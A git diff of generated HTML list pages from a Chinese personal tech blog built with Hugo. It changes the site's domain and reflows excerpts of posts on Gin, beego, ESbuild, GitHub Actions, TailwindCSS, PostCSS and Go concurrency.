+简单来说就是使用唯一接口，通过URL来访问不同的资源，通过不同的请求方式对资源做出响应</p></div><footer class=entry-footer><span title='2022-02-16 21:50:00 +0000 UTC'>2022-02-16</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单了解RESTful设计规范" href=https://chenjunlinabc.github.io/posts/136/></a></article><article class=post-entry><header class=entry-header><h2>Gin框架学习笔记</h2></header><div class=entry-content><p>Gin是一个基于go语言编写的web框架，因为Gin的路由库基于httprouter开发的，性能非常好，支持Restful api规范
 安装
 go get -u github.com/gin-gonic/gin
 第一个demo
-package main
-import "github.com/gin-gonic/gin"
-import "net/http"
-func main() {
-g := gin.Default()
-g.GET("/", func(c *gin.Context) {
-c.String(http.StatusOK, "hallo word")
-})
-g.Run()
-}
-go run main.go
+package main import "github.com/gin-gonic/gin" import "net/http" func main() { g := gin.Default() g.GET("/", func(c *gin.Context) { c.String(http.StatusOK, "hallo word") }) g.Run() } go run main.go
 g.Run()是将应用部署到本地服务器上，默认端口为8080，可设置端口，g.Run(":2333")
 路由
-r.GET("/test/:name", func(c *gin.Context) {
-name := c.Param("name")
-c.String(http.StatusOK, name)
-})
-g.Run(":6666")
-127.0.0.1:6666/test/xiaochen
+r.GET("/test/:name", func(c *gin.Context) { name := c.Param("name") c.String(http.StatusOK, name) }) g.Run(":6666") 127.0.0.1:6666/test/xiaochen
 可以看到Context的Param方法可以获取路由的参数
 通过url传递参数
-r.GET("/test", func(c *gin.Context) {
-name := c.DefaultQuery("name", "test")
-c.String(http.StatusOK, fmt.Sprintf("hallo %s", name))
-})
-r.Run()
-127.0.0.1:6666/test
+r.GET("/test", func(c *gin.Context) { name := c.DefaultQuery("name", "test") c.String(http.StatusOK, fmt.Sprintf("hallo %s", name)) }) r.Run() 127.0.0.1:6666/test
 如果没有传递参数将会输出DefaultQuery的默认参数test
 传递参数后 127.0.0.1:6666/test?name=word
 POST请求
-index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://xiaochenabc123.github.io/posts/135/></a></article><article class=post-entry><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
+index.html main.go...</p></div><footer class=entry-footer><span title='2022-02-15 17:00:00 +0000 UTC'>2022-02-15</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Gin框架学习笔记" href=https://chenjunlinabc.github.io/posts/135/></a></article><article class=post-entry><header class=entry-header><h2>beego应用框架的简单使用</h2></header><div class=entry-content><p>beego是一个基于go语言开发的http框架，beego可用于开发web，api，后端服务等等应用，beego架构为mvc模型，支持RESTful api规范设计，支持热更新
 安装
 go get github.com/beego/beego
 go get github.com/beego/bee
@@ -137,21 +101,15 @@
 controller控制器
 简单接收一下get请求的参数
 controllers/default.go，在func (c *MainController) Get() 函数中修改
-name := c.GetString("name")
-c.Data["Website"] = name
-访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
+name := c.GetString("name") c.Data["Website"] = name 访问http://127.0.0.1:8080/?name=hallo，views\index.tpl的模板中的{{.Website}}被设置为hallo
 在controllers/default.go看到，其定义了一个MainController结构体，该结构体继承了beego.Controller的全部方法（其中方法包括Get，Post等等方法）
 Model模型
 在bee new中并没有Model实例演示，但是bee api有，而且controller控制器可完成一些简单逻辑，只有当逻辑需要复用时才抽象成Model模型
 View视图
 在controllers/default.go看到c.TplName = “index.tpl”，这个语句就是设置模板文件，该模板支持tpl和html文件，beego使用了golang默认的模板引擎
 在views/index.tpl中可以看到这个
-&lt;div class="author">
-Official website:
-&lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> /
-Contact me:
-&lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://xiaochenabc123.github.io/posts/134/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/4/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+&lt;div class="author"> Official website: &lt;a href="http://{{.Website}}">{{.Website}}&lt;/a> / Contact me: &lt;a class="email" href="mailto:{{....</p></div><footer class=entry-footer><span title='2022-02-12 16:50:00 +0000 UTC'>2022-02-12</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to beego应用框架的简单使用" href=https://chenjunlinabc.github.io/posts/134/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/4/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/6/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script></body></html>
\ No newline at end of file
diff --git a/page/6/index.html b/page/6/index.html
index 7da0570b..3601a11b 100644
--- a/page/6/index.html
+++ b/page/6/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.111.3"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://xiaochenabc123.github.io/index.xml><link rel=alternate type=application/json href=https://xiaochenabc123.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://xiaochenabc123.github.io/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://xiaochenabc123.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://xiaochenabc123.github.io/favicon.ico","sameAs":["https://github.com/xiaochenabc123","mailto:xiaochenabc123@qq.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
+<!doctype html><html lang=en dir=auto><head><meta name=generator content="Hugo 0.119.0"><meta charset=utf-8><meta http-equiv=x-ua-compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><meta name=robots content="index, follow"><title>小陈的个人博客</title><meta name=keywords content="Blog,Portfolio,PaperMod"><meta name=description content="小陈的个人博客"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><link rel=alternate type=application/rss+xml href=https://chenjunlinabc.github.io/index.xml><link rel=alternate type=application/json href=https://chenjunlinabc.github.io/index.json><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="小陈的个人博客"><meta property="og:description" content="小陈的个人博客"><meta property="og:type" content="website"><meta property="og:url" content="https://chenjunlinabc.github.io/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="小陈的个人博客"><meta name=twitter:description content="小陈的个人博客"><script type=application/ld+json>{"@context":"https://schema.org","@type":"Organization","name":"小陈的个人博客","url":"https://chenjunlinabc.github.io/","description":"小陈的个人博客","thumbnailUrl":"https://chenjunlinabc.github.io/favicon.ico","sameAs":["https://github.com/chenjunlinabc","mailto:chenjunlinabc123@foxmail.com"]}</script></head><body class=list id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span class=active>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-entry><header class=entry-header><h2>简单使用ESbuild打包工具</h2></header><div class=entry-content><p>ESbuild打包器基于Golang开发，优点在于可多线程打包，直接编译成机器码，ESbuild提供的api可在JavaScript和golang使用，连Vite在很多场景都依赖了ESbuild打包（viet在开发环境下使用这个），支持TypeScript和jsx（tsx），css
 ESbuild支持ES6模块，cjs模块，对ES6+语法支持性好，可以直接打包css文件，json文件，ts文件
 注意：esbuild并不对ts文件进行类型检查工作
 安装
@@ -15,24 +15,9 @@
 或者
 yarn build
 例子（app.jsx）
-import React from 'react'
-import ReactDOM from 'react-dom'
-const App = () => {
-return (
-&lt;div>
-&lt;h1>Hallo, Esbuild!&lt;/h1>
-&lt;/div>
-)
-}
-ReactDOM.render(
-&lt;App />,
-document.getElementById("app")
-)
-index.html
-&lt;div id="app">&lt;/div>
-&lt;script src="./build/index.js">&lt;/script>
-我本地打包只花64ms就打包好了
-使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://xiaochenabc123.github.io/posts/132/></a></article><article class=post-entry><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
+import React from 'react' import ReactDOM from 'react-dom' const App = () => { return ( &lt;div> &lt;h1>Hallo, Esbuild!&lt;/h1> &lt;/div> ) } ReactDOM.render( &lt;App />, document.getElementById("app") ) index.html
+&lt;div id="app">&lt;/div> &lt;script src="./build/index.js">&lt;/script> 我本地打包只花64ms就打包好了
+使用source map功能...</p></div><footer class=entry-footer><span title='2022-02-07 13:37:00 +0000 UTC'>2022-02-07</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用ESbuild打包工具" href=https://chenjunlinabc.github.io/posts/132/></a></article><article class=post-entry><header class=entry-header><h2>简单使用GitHub Actions来实现CI/CD</h2></header><div class=entry-content><p>CI：持续集成 (Continuous Integration) CD：持续交付 (Continuous Delivery) CD：持续部署 (Continuous Deployment)
 GitHub Actions是GitHub提供的持续集成服务
 GitHub Actions官方文档：https://docs.github.com/en/actions
 workflow：工作流程，指一次持续集成的流程，由一个job或者多个job组成 Events：事件，触发流程的钩子（在github中事件为检测仓库特定活动的钩子，例如pull，当事件被触发则自动执行工作流程） Job：任务，任务是工作流程的主体 Steps：步骤，每个Job可以包含一个或多个Step Actions: 行为，每个Step包含一个或多个Action Runners: 执行环境，工作流程运行时的服务端，每一个执行环境可以运行一个任务
@@ -43,36 +28,19 @@
 jobs：每一项任务都需要定义个job_id，job中的name为该任务的描述，needs为指定当前任务的运行顺序（依赖关系），runs-on为指定运行时需要的虚拟机环境（这个字段必须填）
 目前github支持的虚拟机操作系统有ubuntu，windows，macOS，而且github提供的虚拟机是免费使用的
 这里举个例子（github官方的）
-name: GitHub Actions Demo
-on: [push]
-jobs:
-Explore-GitHub-Actions:
-runs-on: ubuntu-latest
-steps:
-- run: echo " The job was automatically triggered by a ${{ github.event_name }} event."
-- run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://xiaochenabc123.github.io/posts/131/></a></article><article class=post-entry><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
+name: GitHub Actions Demo on: [push] jobs: Explore-GitHub-Actions: runs-on: ubuntu-latest steps: - run: echo " The job was automatically triggered by a ${{ github.event_name }} event." - run: echo " This job is now running on a ${{ runner.os }} server hosted by GitHub!...</p></div><footer class=entry-footer><span title='2022-02-01 18:00:00 +0000 UTC'>2022-02-01</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用GitHub Actions来实现CI/CD" href=https://chenjunlinabc.github.io/posts/131/></a></article><article class=post-entry><header class=entry-header><h2>简单使用TailwindCSS</h2></header><div class=entry-content><p>TailwindCSS是一个CSS框架，我个人理解这东西就是根据class来生成css（按需），而不是像bootstrap那样，TailwindCSS是原子化的
 安装
 npm install tailwindcss
 初始化tailwind.config.js
 npx tailwindcss init
 在tailwind.config.js中content属性，表示着项目的html或者js文件
-content: [
-'./src/**/*.{html,js}'
-],
-如果没有配置content属性，会警告
+content: [ './src/**/*.{html,js}' ], 如果没有配置content属性，会警告
 warn - The content option in your Tailwind CSS configuration is missing or empty. warn - Configure your content sources or your generated CSS will be missing styles. warn - https://tailwindcss.com/docs/content-configuration
 创建一个css文件配置tailwind三大组件（base，components.utilities）
-@tailwind base;
-@tailwind components;
-@tailwind utilities;
-如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
-@import "tailwindcss/base";
-@import "tailwindcss/components";
-@import "tailwindcss/utilities";
-也可以将css导入到js中
-import "tailwindcss/tailwind.css"
-tailwind编译
-npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://xiaochenabc123.github.io/posts/130/></a></article><article class=post-entry><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
+@tailwind base; @tailwind components; @tailwind utilities; 如果使用的是webpacker或者postcss-import，不能使用@tailwind指令，需要
+@import "tailwindcss/base"; @import "tailwindcss/components"; @import "tailwindcss/utilities"; 也可以将css导入到js中
+import "tailwindcss/tailwind.css" tailwind编译
+npx tailwindcss -i ./src/index.css -o ./dist/main.css...</p></div><footer class=entry-footer><span title='2022-01-27 12:00:00 +0000 UTC'>2022-01-27</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to 简单使用TailwindCSS" href=https://chenjunlinabc.github.io/posts/130/></a></article><article class=post-entry><header class=entry-header><h2>PostCSS学习笔记</h2></header><div class=entry-content><p>PostCSS是一个用JS插件转换为css的插件工具（注意：PostCSS不是css预处理器，PostCSS本身是个平台，可以通过一些插件达到css预处理器的效果）
 PostCSS is a tool for transforming CSS with JS plugins. These plugins can support variables and mixins, transpile future CSS syntax, inline images, and more.
 插件查询：https://www.postcss.parts/
 常用插件：https://github.com/postcss/postcss/blob/main/docs/plugins.md
@@ -82,22 +50,9 @@
 npm install postcss postcss-loader –save-dev
 PostCSS不单独使用，可搭配Gulp或者webpack使用（这里使用的是webpack）
 webpack.config.js
-module.exports = {
-module: {
-rules: [
-{
-test: /\.css$/,
-use: ["style-loader", "css-loader", "postcss-loader"]
-}
-]
-}
-};
-postcss.config.js
-module.exports = {
-plugins: [插件1,插件2]
-};
-Autoprefixer（自动添加浏览器前缀）
-npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://xiaochenabc123.github.io/posts/129/></a></article><article class=post-entry><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
+module.exports = { module: { rules: [ { test: /\.css$/, use: ["style-loader", "css-loader", "postcss-loader"] } ] } }; postcss.config.js
+module.exports = { plugins: [插件1,插件2] }; Autoprefixer（自动添加浏览器前缀）
+npm install autoprefixer –save-dev...</p></div><footer class=entry-footer><span title='2022-01-23 13:55:00 +0000 UTC'>2022-01-23</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to PostCSS学习笔记" href=https://chenjunlinabc.github.io/posts/129/></a></article><article class=post-entry><header class=entry-header><h2>Golang进阶扩展笔记</h2></header><div class=entry-content><p>这篇笔记是进阶学习，如果基础没有看的的话，请去看https://xiaochenabc123.test.com/archives/96.html
 并发
 go的并发靠goroutine，goroutine由go运行时调度，线程由操作系统调度，go还提供channel来给多个goroutine之间通行，goroutine和channel是go并发模式CSP（Communicating Sequential Process，通讯顺序进程）的实现基础，goroutine的调度在用户态下完成，不涉及内核态（比如内存的分配和释放，都是用户态维护的内存池，成本远比调度OS线程要低的多，可轻松做到成千上万个goroutine）
 内核态：程序执行操作系统层级的程序时
@@ -134,8 +89,8 @@
 载入（读取，避免读取过程，其他协程进行修改操作）：func LoadInt64(addr *int64) (val int64)
 存储（写入，避免写入过程，其他协程进行读取操作）：func StoreInt64(addr *int64, val int64)
 交换（和CAS不同，交换只赋值old值，不管原来的值）：func SwapInt64(addr *int64, new int64) (old int64)
-比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://xiaochenabc123.github.io/posts/128/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://xiaochenabc123.github.io/page/5/>«&nbsp;Prev&nbsp;</a>
-<a class=next href=https://xiaochenabc123.github.io/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+比较并且交换（Compare And Swap 简称CAS，类似于乐观锁，只有原来的值和传入的old值一样才修改）：func CompareAndSwapInt64(addr *int64, old, new int64) (swapped bool)...</p></div><footer class=entry-footer><span title='2022-01-16 09:08:00 +0000 UTC'>2022-01-16</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me</footer><a class=entry-link aria-label="post link to Golang进阶扩展笔记" href=https://chenjunlinabc.github.io/posts/128/></a></article><footer class=page-footer><nav class=pagination><a class=prev href=https://chenjunlinabc.github.io/page/5/>«&nbsp;Prev&nbsp;</a>
+<a class=next href=https://chenjunlinabc.github.io/page/7/>Next&nbsp;&nbsp;»</a></nav></footer></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
